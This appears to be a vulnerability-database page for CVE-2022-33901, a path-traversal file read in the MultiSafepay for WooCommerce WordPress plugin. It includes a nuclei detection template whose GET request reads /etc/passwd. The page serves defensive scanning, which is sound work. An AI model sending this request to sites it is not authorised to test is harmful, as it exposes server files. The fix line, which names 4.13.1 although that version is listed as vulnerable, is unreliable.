HexBrain

Browse / CVEs / CVE-2022-33901

CVE-2022-33901· multisafepay / multisafepay plugin for woocommerce

WordPress MultiSafepay for WooCommerce <=4.13.1 - Arbitrary File Read

highseverity
7.5CVSS score
2.8%likelihood of exploitation, next 30 days
87%of all CVEs are less likely
Readycheck to confirm it

WordPress MultiSafepay for WooCommerce plugin through 4.13.1 contains an arbitrary file read vulnerability. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

An attacker can access sensitive information stored in arbitrary files on the server, potentially leading to further compromise of the system.

Fix

Update WordPress MultiSafepay for WooCommerce plugin to version 4.13.1 or later.

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=admin_init&log_filename=../../../../../../../../../../../../../etc/passwd
Positive when: contains in header "application/octet-stream" AND matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2022-33901 -u <target>

The full check
id: CVE-2022-33901

info:
  name: WordPress MultiSafepay for WooCommerce <=4.13.1 - Arbitrary File Read
  author: theamanrawat
  severity: high
  description: |
    WordPress MultiSafepay for WooCommerce plugin through 4.13.1 contains an arbitrary file read vulnerability. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    An attacker can access sensitive information stored in arbitrary files on the server, potentially leading to further compromise of the system.
  remediation: |
    Update WordPress MultiSafepay for WooCommerce plugin to version 4.13.1 or later.
  reference:
    - https://wordpress.org/plugins/multisafepay/
    - https://wordpress.org/plugins/multisafepay/#developers
    - https://patchstack.com/database/vulnerability/multisafepay/wordpress-multisafepay-plugin-for-woocommerce-plugin-4-13-1-unauthenticated-arbitrary-file-read-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2022-33901
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-33901
    epss-score: 0.02781
    epss-percentile: 0.86495
    cpe: cpe:2.3:a:multisafepay:multisafepay_plugin_for_woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: multisafepay
    product: multisafepay_plugin_for_woocommerce
    framework: wordpress
  tags: cve2022,cve,wp-plugin,wp,wordpress,unauth,multisafepay,woocommerce,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=admin_init&log_filename=../../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from